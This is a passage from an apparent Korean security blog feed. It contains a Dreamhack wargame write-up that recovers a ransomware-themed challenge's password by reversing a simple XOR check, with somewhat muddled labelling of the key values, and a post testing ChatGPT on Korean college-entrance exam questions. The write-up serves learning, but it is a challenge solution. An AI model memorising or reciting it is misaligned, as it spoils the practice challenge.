&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1108&quot; data-origin-height=&quot;68&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boTDqn/btr0fapa8xb/nNxHCxbCVrRnfDxLDP2nD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boTDqn/btr0fapa8xb/nNxHCxbCVrRnfDxLDP2nD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boTDqn/btr0fapa8xb/nNxHCxbCVrRnfDxLDP2nD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboTDqn%2Fbtr0fapa8xb%2FnNxHCxbCVrRnfDxLDP2nD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1108&quot; height=&quot;68&quot; data-origin-width=&quot;1108&quot; data-origin-height=&quot;68&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Cryptography</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/99</guid>
      <comments>https://hackhijack64.tistory.com/99#entry99comment</comments>
      <pubDate>Wed, 22 Feb 2023 12:18:50 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - darimchal_001(writeup)</title>
      <link>https://hackhijack64.tistory.com/98</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 드림핵의 워게임, darimchal_001 문제를 풀어볼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 이 문제의 c코드의 main 을 확인해 보겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1677029910609&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int main (int argc, char *argv[]) {
  if (argc != 2) {
    __print_sw_title(argv[0]);
    return ERRO;
  }

  if ( __is_valid_pwd(argv[1]) ) {
    __create_tag(argv[0]);
    printf(&quot;\n +-+ 무, 무슨... 말도 안돼!! 어떻게 복호화 키를...?? +-+ \n&quot;);
  } else {
    printf(&quot;\n 너의 파일들은 이제 요단강을 건너다가 저승사자와 하이파이브를 하게되었다! 으하하하하!\n&quot;); // ㅋㅋㅋㅋㅋㅋ
  }

  return OK;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 main 함수에서는 하나의 인자를 받아서 그 인자를 __is_valid_pwd()에 보내서 TRUE 인지 FALSE 인지 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 __is_valid_pwd()를 확인 해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1677030006346&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __is_valid_pwd (char *pwd) {
  if (! strncmp(JOKER, __obfuscation(pwd, KEY), sizeof(JOKER)) ) {
    return TRUE;
  }

  return FALSE;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위를 보면 JOKER와 __obfuscation(인자, KEY)를 비교해서 같으면 TRUE를 return 하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 __obfuscation을 확인해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1677030107736&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char *__obfuscation (char *pwd, char *key) {
  int i;
  for (i = 0; i &amp;lt; strlen(pwd); i++) {
    if(key[i] == '\0') break;
    pwd[i] = pwd[i] ^ key[i];
  }

  return pwd;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;받은 인자와 KEY(023661dd4) 값을 XOR 한 값을 return 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리를 하자면 JOKER는 KEY 값과 받은 인자를 XOR한 값이다.&lt;/p&gt;
&lt;pre id=&quot;code_1677030229722&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;JOKER = flag XOR KEY&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 XOR은 역연산이 가능하기 때문에 아래와 같이 나타낼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1677030307836&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;flag = JOKER XOR KEY
flag = 023661dd4 XOR \x40\x53\x06\x03\x43\x52\x54\x3b&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 토대로 XOR 연산을 아래와 같이 하면 flag를 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5hQIp/btr0fKjjCIh/zlepotusUpfEiLkHXKakW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5hQIp/btr0fKjjCIh/zlepotusUpfEiLkHXKakW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5hQIp/btr0fKjjCIh/zlepotusUpfEiLkHXKakW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5hQIp%2Fbtr0fKjjCIh%2FzlepotusUpfEiLkHXKakW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;530&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Cryptography</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/98</guid>
      <comments>https://hackhijack64.tistory.com/98#entry98comment</comments>
      <pubDate>Wed, 22 Feb 2023 10:46:31 +0900</pubDate>
    </item>
    <item>
      <title>ChatGPT - 수능문제 풀어보기(수학, 영어)</title>
      <link>https://hackhijack64.tistory.com/96</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 chatgpt에게 수능 문제를 풀어보게 할 것이다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&amp;amp;m=0403&amp;amp;s=suneung&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&amp;amp;m=0403&amp;amp;s=suneung&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1676515281722&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;한국교육과정평가원 대학수학능력시험 홈페이지&quot; data-og-description=&quot;&quot; data-og-host=&quot;www.kice.re.kr&quot; data-og-source-url=&quot;https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&amp;amp;m=0403&amp;amp;s=suneung&quot; data-og-url=&quot;https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&amp;amp;m=0403&amp;amp;s=suneung&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&amp;amp;m=0403&amp;amp;s=suneung&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.kice.re.kr/boardCnts/list.do?boardID=1500234&amp;amp;m=0403&amp;amp;s=suneung&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;한국교육과정평가원 대학수학능력시험 홈페이지&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.kice.re.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수능 문제는 위 사이트를 참고하였다.&lt;br /&gt;&lt;br /&gt;chatgpt에게 간단하게 영어 수학 문제를 두 문제씩 내보겠다.(국어도 내려고 했지만 계속 오류가 나서 포기..)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 영어 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;18번 같은 쉬운 문제보다 살짝은 어려운 문제를 내고 싶어서 글의 제목을 맞추는 24번 문제를 냈다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;1224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CVhh6/btrZre0eG4c/Q0LtNuR6Qjgud3n5JEfF41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CVhh6/btrZre0eG4c/Q0LtNuR6Qjgud3n5JEfF41/img.png&quot; data-alt=&quot;홀수형 24번문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CVhh6/btrZre0eG4c/Q0LtNuR6Qjgud3n5JEfF41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCVhh6%2FbtrZre0eG4c%2FQ0LtNuR6Qjgud3n5JEfF41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;475&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;1224&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;홀수형 24번문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짝수형 지문을 주니 알아들었다고 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsYrlA/btrZre6WRJK/bYk0rDsxVscXTwK7jO2QoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsYrlA/btrZre6WRJK/bYk0rDsxVscXTwK7jO2QoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsYrlA/btrZre6WRJK/bYk0rDsxVscXTwK7jO2QoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsYrlA%2FbtrZre6WRJK%2FbYk0rDsxVscXTwK7jO2QoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;730&quot; height=&quot;473&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그리고 문제 선택지를 주었더니 1번을 골랐다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d5K7q9/btrZreMHyLH/RVta9zYhWlrgks5DtivLd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d5K7q9/btrZreMHyLH/RVta9zYhWlrgks5DtivLd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d5K7q9/btrZreMHyLH/RVta9zYhWlrgks5DtivLd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd5K7q9%2FbtrZreMHyLH%2FRVta9zYhWlrgks5DtivLd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;295&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음... 가볍게 맞추는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;93&quot; data-origin-height=&quot;34&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ipi57/btrZxfcc8WB/X4nPwFF0jYknMA2lKOfKH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ipi57/btrZxfcc8WB/X4nPwFF0jYknMA2lKOfKH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ipi57/btrZxfcc8WB/X4nPwFF0jYknMA2lKOfKH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIpi57%2FbtrZxfcc8WB%2FX4nPwFF0jYknMA2lKOfKH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;153&quot; height=&quot;56&quot; data-origin-width=&quot;93&quot; data-origin-height=&quot;34&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음 조금 어렵다고 한 34번 문제를 내주었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmESPk/btrZqAWW5Si/a1CFnIwQ8QrSYMkIWLA7Ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmESPk/btrZqAWW5Si/a1CFnIwQ8QrSYMkIWLA7Ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmESPk/btrZqAWW5Si/a1CFnIwQ8QrSYMkIWLA7Ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmESPk%2FbtrZqAWW5Si%2Fa1CFnIwQ8QrSYMkIWLA7Ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;632&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1258&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 문제를 내주었는데 2초도 안 지나서 5번이 답이라고 자신있게 말하는 모습이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;604&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GE3Ao/btrZreMIe03/I5sgMUoyIz8QBGdVlilPu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GE3Ao/btrZreMIe03/I5sgMUoyIz8QBGdVlilPu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GE3Ao/btrZreMIe03/I5sgMUoyIz8QBGdVlilPu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGE3Ao%2FbtrZreMIe03%2FI5sgMUoyIz8QBGdVlilPu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;751&quot; height=&quot;555&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;604&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음.... 역시 외국에서 태어나서 영어에는 매우 능숙한 것 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;90&quot; data-origin-height=&quot;29&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5qqAJ/btrZqUVgWwe/ZlBxnjQnQDuzUOK3yT3IR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5qqAJ/btrZqUVgWwe/ZlBxnjQnQDuzUOK3yT3IR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5qqAJ/btrZqUVgWwe/ZlBxnjQnQDuzUOK3yT3IR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5qqAJ%2FbtrZqUVgWwe%2FZlBxnjQnQDuzUOK3yT3IR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;167&quot; height=&quot;54&quot; data-origin-width=&quot;90&quot; data-origin-height=&quot;29&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 수학 문제로 넘어가보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chatgpt에게 사진이나 특수기호를 입력하지 못해서 확통에서 문제를 냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말로 표현하기 쉽고 난이도가 있을 것 같은 25, 27번 문제를 냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 25번 문제를 냈다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IW0J2/btrZtrc8Mns/HRqixhegv4h8SCMRSqHfT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IW0J2/btrZtrc8Mns/HRqixhegv4h8SCMRSqHfT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IW0J2/btrZtrc8Mns/HRqixhegv4h8SCMRSqHfT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIW0J2%2FbtrZtrc8Mns%2FHRqixhegv4h8SCMRSqHfT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;538&quot; height=&quot;214&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭔가 이 정도는 보기 없이 풀 수도 있을 거라고 생각했는데 아래와 진짜 오지게 못 푸는 모습을 보여준다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 시도 : 이상한 결과가 나옴&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.21.40 PM.png&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQL0Fk/btrZqTveQU1/LPQWnIGKdZ2MmlZZGJ8xfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQL0Fk/btrZqTveQU1/LPQWnIGKdZ2MmlZZGJ8xfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQL0Fk/btrZqTveQU1/LPQWnIGKdZ2MmlZZGJ8xfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQL0Fk%2FbtrZqTveQU1%2FLPQWnIGKdZ2MmlZZGJ8xfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;472&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.21.40 PM.png&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째 시도: 분수, 유리수라고 해줬는데 보기에도 없는 답을 한다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.21.47 PM.png&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cE7YPl/btrZttB6hpk/MEdGjWv41vWNeemt8kkGNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cE7YPl/btrZttB6hpk/MEdGjWv41vWNeemt8kkGNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cE7YPl/btrZttB6hpk/MEdGjWv41vWNeemt8kkGNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcE7YPl%2FbtrZttB6hpk%2FMEdGjWv41vWNeemt8kkGNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;627&quot; height=&quot;524&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.21.47 PM.png&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세번째 시도: 오답&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.21.58 PM.png&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/usyBf/btrZxJqPBfM/D2fVZPVlxJblU0z1TAAl0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/usyBf/btrZxJqPBfM/D2fVZPVlxJblU0z1TAAl0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/usyBf/btrZxJqPBfM/D2fVZPVlxJblU0z1TAAl0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FusyBf%2FbtrZxJqPBfM%2FD2fVZPVlxJblU0z1TAAl0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;659&quot; height=&quot;301&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.21.58 PM.png&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4번째 시도: 또 틀림&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.22.07 PM.png&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GuGEp/btrZqHu80wl/0GK0T5xE8PazXlcVcATQQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GuGEp/btrZqHu80wl/0GK0T5xE8PazXlcVcATQQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GuGEp/btrZqHu80wl/0GK0T5xE8PazXlcVcATQQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGuGEp%2FbtrZqHu80wl%2F0GK0T5xE8PazXlcVcATQQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;575&quot; height=&quot;489&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.22.07 PM.png&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5번째: 결국 답을 알려줌, 그런데 갑자기 아는 척을 함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.22.15 PM.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FxIYn/btrZqzcGLp6/02ntF1skDCkcrBaHxB0K11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FxIYn/btrZqzcGLp6/02ntF1skDCkcrBaHxB0K11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FxIYn/btrZqzcGLp6/02ntF1skDCkcrBaHxB0K11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFxIYn%2FbtrZqzcGLp6%2F02ntF1skDCkcrBaHxB0K11%2Fimg.png&quot; 